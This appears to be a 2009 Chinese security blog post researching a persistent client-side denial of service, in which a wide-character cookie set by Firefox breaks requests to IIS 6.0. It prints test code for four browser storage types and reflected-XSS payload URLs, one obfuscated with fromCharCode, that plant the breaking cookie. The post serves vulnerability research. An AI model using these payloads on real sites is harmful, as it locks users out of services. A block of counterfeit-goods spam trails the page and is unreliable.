Dec 22

Fuzz客户端存储对象,寻找client ddos 不指定

woyigui , 20:38 , 网络安全 , 评论(1) , 引用(0) , 阅读(1296) , Via 本站原创 | |
  注: 发表在了第四期 Webzine,文中肯定有缺点,或者不好的地方。更多的访问:
  http://secinn.appspot.com/pstzine/read?issue=4

文/woyigui

目录:
一、前言
二、发现漏洞
三、漏洞利用
四、环境影响
五、漏洞原因
六、后记
七、参考

一、前言

  前一段墨西哥同学发现了一个关于http request header过长造成的一个server limit dos,
他那个是对cookie 写入一个超长的数据造成的。那么,我们可以根据此方法形成新的利用方法,Fuzzer http
头部进行攻击。只要造成WEB服务器返回40X 错误就行了。比如,向http的GET 头部信息的URL值设置特殊的符号,
服务器就会返回错误:
  GET /settings.aspx%22 HTTP/1.1   //此处
  Host: cn.bing.com
  User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: zh-cn,zh;q=0.5
  Accept-Encoding: gzip,deflate
  Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
  Cookie: _HOP=I=1&TS=1260805184; OVR=flt=0&DomainVertical=omdublin&Cashback=cbtest4&MSCorp=kievfinal&GeoPerf=0&Release=dsf3
  Cache-Control: max-age=0

  会引起问题的符号:" < > %
  同样情况,任何http头部字段都可伪造,进行超长、特殊构造,让服务器返回错误。但是,此类的攻击只是单次的,不能引起持久性攻击。就不符合我们本文的目的。
根据http协议看到,用于持久化保存用户状态的一共有4 种方式,分别为:Cookies、Flash Local shared objects、userdata、DOM storage。因为这几
种方法可以持久保存用户的状态,所以在重新打开浏览器的同时,依然可以保持,也就是说假如我们攻击成功,就可以实现持久性的 ddos 攻击了。一般情况,我们大多数
都是利用XSS 漏洞进行 ddos 客户端,所以以下方法我们都使用 Javascript 脚本进行设置各种对象,以实现各类的ddos攻击。

二、发现漏洞  

  我们分别对四种持久性存储对象进行测试,以实现ddos攻击。首先,我们构造一个干净的平台,以防止引起其他错误。
  平台:
  IIS 6.0
  Firefox 3.5.5

  1、cookies

    前人已经对长度进行测试过了,所以我们就以中文字符来测试。Javascript 设置cookie的方法很简单,那么我们就创建一个空白页面,写入如下内容:
  
<script>document.cookie="我是中国人=我是中国人";</script>

  然后进行浏览此页面,第一次浏览正常,接着刷新页面,就会返回 Bad Requeset 提示,说明已经被成功ddos了。那么设置中文的cookie却引起这样的问题呢?
  其实,这是因为由Javascript设置为中文,然后由Firefox浏览器客户端进行编码,然后发送http请求数据到iis web服务器的。而在Firefox编码的过程中,
  却将中文的cookie给编码成乱码了,也就是宽字符集的问题。我们可以在保持页面浏览的情况下,通过用以下语句进行查看当前设置的cookie值是什么样子的:
  
javascript:document.write(document.cookie);void(0)

  然后页面输出如何畸形字符:
  
  ´ø“^W=´ø“^W\ý

    那么,是不是所有的中文字符都会引起的呢?当然不是,有些中文字符被Firefox编码后却不会引起问题,而有些中文字符编码会,就会和其他字符进行合并等其他
  操作引起的。这个可以通过脚本或者其他手工方式自由测试。

  2、Flash Local shared objects

    因其Flash Local shared objects 是信赖于 flash插件的,而Flash 只是做为 浏览器的一个组件来实现功能。所以,我们不管怎么去做写入操作,最后
  只会造成 Flash 插件有问题,而不会造成 WEB 服务器返回错误,因为Flash 操作并不影响客户端与WEB服务器进行交互。在我测试的过程中,写入数据达到限制后,Flash
  就阻止写入,无任何提示。    

  3、userData

    UserData是微软为IE专门在系统中开辟的一块存储空间,在IE 7 以下版本支持,每页的UserData存储区数据大小可以达到64 Kb,每个域名可以达到640 Kb。
  所以首先我们对单个页面设置长度,超过所负载的长度是什么情况,如下面的代码:
  <HTML>
  <HEAD>
  <STYLE>
     .userData {behavior:url(#default#userdata);}
  </STYLE>
  <SCRIPT>
  function fnSaveInput(){
    var oPersist=oPersistForm.oPersistInput;
    var metastr = "A"; // 1 A
    var str = "";
    while (str.length < 1024*64){
      str += metastr;
    }
    oPersist.setAttribute("sPersist",str); //将oPersist.value存储为sPersist属性  
    oPersist.save("oXMLBranch");
  }
  function fnLoadInput(){
     var oPersist=oPersistForm.oPersistInput;
     oPersist.load("oXMLBranch");  //载入在名为oXMLBranch的UserData存储区
     oPersist.value=oPersist.getAttribute("sPersist"); //将sPersist属性赋值给oPersist.value
  }
  </SCRIPT>
  </HEAD>
  <BODY>
    <FORM ID="oPersistForm">
      <INPUT CLASS="userData" TYPE="text" ID="oPersistInput">
      <INPUT TYPE="button" VALUE="Load" onclick="fnLoadInput()">
      <INPUT TYPE="button" VALUE="Save" onclick="fnSaveInput()">
    </FORM>
  </BODY>
  </HTML>

    我们save我们的数据以后,IE 6 就会报出:“磁盘已满” 的错误提示,也就是我们无法写入大于等于 64 K 的数据,当超过这个数据限制以后,
  IE 就不允许再写入数据了,出错提示也是 save 方法处。那么针对整个域名的长度限制的测试我们就不需要了,因为我们是利用XSS攻击进行设置,也就是
  我们针对的单个页面进行攻击。所以 userdata 存储对象我们是无法进行攻击利用了。另外一点要说的是,因为userdata只支持IE7 以下版本,同时我们
  目标是让其实现ddos攻击,就算userdata数据进行溢出了,也不一定可以造成服务器返回40x错误,因为相对WEB服务器来说,他并不和 userdata 进行交互。

  4、DOM Storage
    DOM 存储对象允许设置最大值限制为 5M,所以我可以用如下的代码进行测试:
    <script>
    window.onload = function (){
      var metastr = "A";
      var str = "";
      while (str.length < 1024*1024*5 ){  //这里设置 5M,实际大小为:5242880
        str += metastr;
      }
        if (window.globalStorage){
      window.globalStorage.namedItem("www.a.com").setItem("test", str);
        }else{
        window.localStorage.setItem("test", str);
      }
        if (window.globalStorage){
        document.getElementById("s").innerHTML += window.globalStorage.namedItem("www.a.com").getItem("test");
        }else{
        document.getElementById("s").innerHTML += window.localStorage.getItem("test");    
      }
    }
    </script>
    <div id="s">
    </div>

  当我们设置一个超长的大于5M的数据进去的话,Firefox 错误控制台会提示如下错误:
  错误:
uncaught exception: [Exception... "Persistent storage maximum size reached"  code: "1014" nsresult: "0x805303f6 (NS_ERROR_DOM_QUOTA_REACHED)"  location: "http://www.a.com/dom.html Line: 16"]。

  长度没有问题,我们通可以用一些特殊字符进行写入,比如将刚才的 A 改成一些乱码的字符,重新写入,但是页面还是可以正常读取,所以这个就测试失败了。
  经过我们前面对 4 种存储对象的不同测试,只测试到 cookie 存储对象存在漏洞,其他都未成功,所以下面我们只针对cookie引起的漏洞进行讨论。

三、漏洞利用

  一般情况下,通过以上发现的漏洞,我们可以利用XSS脚本跨站漏洞进行实现客户端ddos攻击。比如如下简单存在漏洞的代码:  
  XSS.php
  <?PHP
    echo $_GET["xss"] ;
  ?>

  我们就可以这样的去构造:
  http://127.0.0.1/test.php?xss=<script>document.cookie="我是中国人=我是中国人";void(0)</script>


  如果 magic_quotes_gpc = On 开启的,就要如下转义一下:
http://127.0.0.1/test.php?xss=<script>eval(String.fromCharCode(100,111,99,117,109,101,
110,116,46,99,111,111,107,105,101,61,34,25105,29233,22855,34382,61,25105,29233,22855,34382,34));
void(0)</script>

  虽然此 URL 比较长一些,但是相对前一段那个写入超长cookie的ddos方式有很大的优点,就是:它只需要写入一个可以引起问题的 中文 字符即可,比如一个最短的代码:  
  
document.cookie="我"

  这样一个只包含 19 个字符的代码,就可以实现ddos攻击了。:)

四、环境影响

  在我们测试之前,为了更快的进入主题,我是直接选取的直接可以触发漏洞的环境:Firefox + IIS 6.0 .当然,想成功攻击,必须受环境影响:

  1、Firefox 任意版本

    漏洞的主要原因是因为 Firefox 对宽字符cookie的不支持引起的,当用户设置宽字符的中文后,Firefox 没有正确的编码,然后发送给WEB 服务器的。

  2、IIS 6.0
  
    也正是因为 Firefox 没有对cookie正确编码,造成 接收过来的是一些特殊 cookie。但是 iis 正好也没有正确处理,直接抛出 40x 错误了。

五、漏洞原因  

  也正是因为 Firefox 和 iis 同时有问题的这种极端情况下引发的漏洞。而其他环境中,却不会有这样问题,比如:IE 浏览器会正常编码cookie值、apache 会正确解析特殊cookie值等。
只要两者有一者没有问题,就不会存在这种漏洞的可能。

六、后记  

  虽然本文我们只发现了 4 种存储对象中 cookie 的漏洞,但是我相信,在其他 3 种存储对象中,依然可以找到新的漏洞。
  另外要感谢 RAyH4c ,在很多问题上,都可以给我指点迷津,同时还教会我很多东西。

参考:

1、http://sites.google.com/a/80sec.com/80sec/charset-xss-in-web-application
2、http://hi.baidu.com/aullik5/blog/item/6947261e7eaeaac0a7866913.html
3、http://hi.baidu.com/aullik5/blog/item/60d2b5fc52675a1e09244d77.html
3、http://www.ietf.org/rfc/rfc2616.txt
4、http://www.qgy18.com/lab/flashstorage/
Tags: , , ,
rey
2009/12/22 22:48
泪奔了...
分页: 1/1 第一页 1 最后页
发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
记住我
昵称   密码   游客无需密码
网址   电邮   [注册]
               

 
20100511 NFL jerseysNFL jerseysNFL jerseys, louis vuitton bagslouis vuitton bagslouis vuitton bags, nike shoesnike shoesnike shoes, coach bagscoach bagscoach bags, jordan shoesjordan shoesjordan shoes, coach bagscoach bagscoach bags, tiffany jewelrytiffany jewelrytiffany jewelry, Shox r4Shox r4Shox r4, Shox nzShox nzShox nz, Shox nzNike dunk sbNike dunk sb, ghd straightenersghd straightenersghd straighteners, coach outletcoach outletcoach outlet, replica rolexreplica rolexreplica rolex, breitling watchesbreitling watchesbreitling watches, replica rolex watchesreplica rolex watchesreplica rolex watches, tag heuer carreratag heuer carreratag heuer carrera, replica louis vuitton replica louis vuitton replica louis vuitton , replica chanelreplica chanelreplica chanel, wholesale handbagswholesale handbagswholesale handbags, wholesale bagswholesale bagswholesale bags, jimmy choojimmy choojimmy choo, christian louboutinchristian louboutinchristian louboutin, yves saint laurent shoesyves saint laurent shoesyves saint laurent shoes, christian louboutinchristian louboutinchristian louboutin, ghdghdghd, ghd hairghd hairghd hair, 外贸网店建设外贸网店建设外贸网店建设, seoseoseo, 圣荷圣荷圣荷,